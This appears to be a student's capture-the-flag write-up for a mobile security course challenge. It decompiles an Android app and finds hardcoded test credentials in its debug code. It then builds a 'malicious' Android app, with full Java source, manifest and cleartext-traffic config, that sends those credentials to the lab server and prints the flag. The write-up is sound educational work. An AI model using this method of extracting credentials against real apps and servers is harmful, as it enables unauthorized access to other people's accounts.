Challenge description:

*This task may seem like an easy, silly, and unrealistic toy sample, but many real-world apps screwed up the same way. Find the vulnerability exposed by the frontdoor app and exploit it in your own app!*

Solution

Let’s start from the usual:

*jadx -d out frontdoor.apk*

In the output folder, in the usual “com/mobiotsec/app” folder, we see four files; the most interesting ones are the MainActivity itself and the Flag.java files.

Starting from the first one, we see what the code does is basically having a server URL which gets called by the connection opening with a GET method and then the connection tries to retrieve data in a readable format, both UTF-8 and in an encoded form. So, basically:

* we see that it sends a get request to root at http://10.0.2.2:8085
* if not in debug mode, it sends the request with the strings inserted by user
* otherwise we see a prefilled pair user/pwd like `username=testuser&password=passtestuser123`

Infact, inside the *frontdoor* folder there is a *server* folder, with a Dockerfile ready to call and execute.

We get told we are expected to find and exploit the vulnerability inside our app, so we should create a MaliciousApp in Android Studio to do just that. Basically, we should be able to write some code which exploits the server call and call it a day retrieving the flag.

Given we are calling a server, we should add inside the Manifest file the Internet permission, specifically:

*<uses-permission android:name="android.permission.INTERNET"/>*

Also, consider the code execution may give problems, given the network is HTTP and not secure. So, inside *res/xml* folder, it needs to be create a “*network\_security\_config.xml*”, in which you specify the traffic is not protected:

<?xml version="1.0" encoding="utf-8"?>  
<network-security-config>  
 <base-config cleartextTrafficPermitted="true">  
 <trust-anchors>  
 <certificates src="system"/>  
 </trust-anchors>  
 </base-config>  
</network-security-config>

The complete manifest, then, consider a class setting as the main entry point our class we will comment next:  
  
<?xml version="1.0" encoding="utf-8"?>  
<manifest xmlns:android="http://schemas.android.com/apk/res/android"  
 package="com.example.frontdoor">  
  
 <application  
 android:networkSecurityConfig="@xml/network\_security\_config"  
 android:allowBackup="true"  
 android:icon="@mipmap/ic\_launcher"  
 android:label="@string/app\_name"  
 android:roundIcon="@mipmap/ic\_launcher\_round"  
 android:supportsRtl="true">  
 <activity android:name="com.example.frontdoor.FlagCaller"  
 android:exported="true">  
 <intent-filter>  
 <action android:name="android.intent.action.MAIN" />  
  
 <category android:name="android.intent.category.LAUNCHER" />  
 </intent-filter>  
 </activity>  
 </application>  
 <uses-permission android:name="android.permission.INTERNET" />  
  
</manifest>

Consider also we’re trying to exploit an application sending a username and a password maliciously via a function which connects to the desired URL via a GET method, then the response is read via buffered read and then the string is built over time. The flag will be printed inside the logs when executed. We just need a class extending the activity, hence getting the parameters via a GET call.

Remember to first run the server via: *sudo ./docker\_build.sh – sudo ./docker-run.sh*

If you are doing the right call, but wrong parameters, this prompt gets called inside Logcat of Android Studio:  
  
*2023-12-12 22:02:17.896 10327-10348 MOBIOTSEC com.example.frontdoor I <html>*

*<head>*

*<title>Home</title>*

*<meta charset='utf-8'/>*

*</head>*

*<body>*

*Wrong parameters! </body>*

*</html>*

*2023-12-12 22:02:44.227 10327-10338 System com.example.frontdoor W A resource failed to call close.*

So, we use as a code aThreadPoolExecutor to run the network call on a background thread. Then we use a ThreadPoolExecutor will automatically create and manage a pool of threads for handling asynchronous tasks. The Future object is used to get the result of the network call once it has completed.

Basically, we open a connection via GET with the parameters specified inside the getFlag function and then via usual InputStream and BufferedReader parsing, we open the stream and disconnect when we are done.

package com.example.frontdoor;  
  
import android.app.Activity;  
import android.os.Bundle;  
import android.util.Log;  
  
import androidx.annotation.Nullable;  
  
import java.io.BufferedReader;  
import java.io.InputStream;  
import java.io.InputStreamReader;  
import java.net.HttpURLConnection;  
import java.net.URL;  
import java.nio.charset.StandardCharsets;  
import java.util.concurrent.ExecutorService;  
import java.util.concurrent.Executors;  
import java.util.concurrent.Future;  
  
public class FlagCaller extends Activity {  
 private static final String *TAG* = "MOBIOTSEC";  
  
 @Override  
 protected void onCreate(@Nullable Bundle savedInstanceState) {  
 super.onCreate(savedInstanceState);  
  
 ExecutorService executorService = Executors.*newSingleThreadExecutor*();  
 Future<String> future = (Future<String>) executorService.submit(new WebService());  
  
 try {  
 String response = future.get();  
 Log.*i*(*TAG*, response);  
 } catch (Exception e) {  
 Log.*e*(*TAG*, Log.*getStackTraceString*(e));  
 } finally {  
 executorService.shutdown();  
 }  
 }  
  
 private class WebService implements Runnable {  
  
 @Override  
 public void run() {  
 try {  
 URL mUrl = new URL("http://10.0.2.2:8085");  
 String urlParameters = "username=testuser&password=passtestuser123";  
 byte[] postData = urlParameters.getBytes(StandardCharsets.*UTF\_8*);  
  
 HttpURLConnection conn = (HttpURLConnection) new URL(mUrl + "?" + urlParameters).openConnection();  
 conn.setRequestMethod("GET");  
 conn.setRequestProperty("Content-Length", Integer.*toString*(postData.length));  
 conn.setDoOutput(true);  
 conn.getOutputStream().write(postData);  
  
 InputStream inputStream = conn.getInputStream();  
 BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));  
 String line;  
 StringBuilder response = new StringBuilder();  
  
 while ((line = reader.readLine()) != null) {  
 response.append(line);  
 }  
  
 reader.close();  
 inputStream.close();  
 conn.disconnect();  
  
 Log.*i*(*TAG*, response.toString());  
 } catch (Exception e) {  
 Log.*e*(*TAG*, Log.*getStackTraceString*(e));  
 }  
 }  
 }  
}

If everything goes well, inside Logcat we find:

2023-12-12 22:21:58.476 10747-10769 MOBIOTSEC com.example.frontdoor I <html> <head> <title>Home</title> <meta charset='utf-8'/> </head> <body> Here's your reward: FLAG{forma\_bonum\_fragile\_est} </body></html>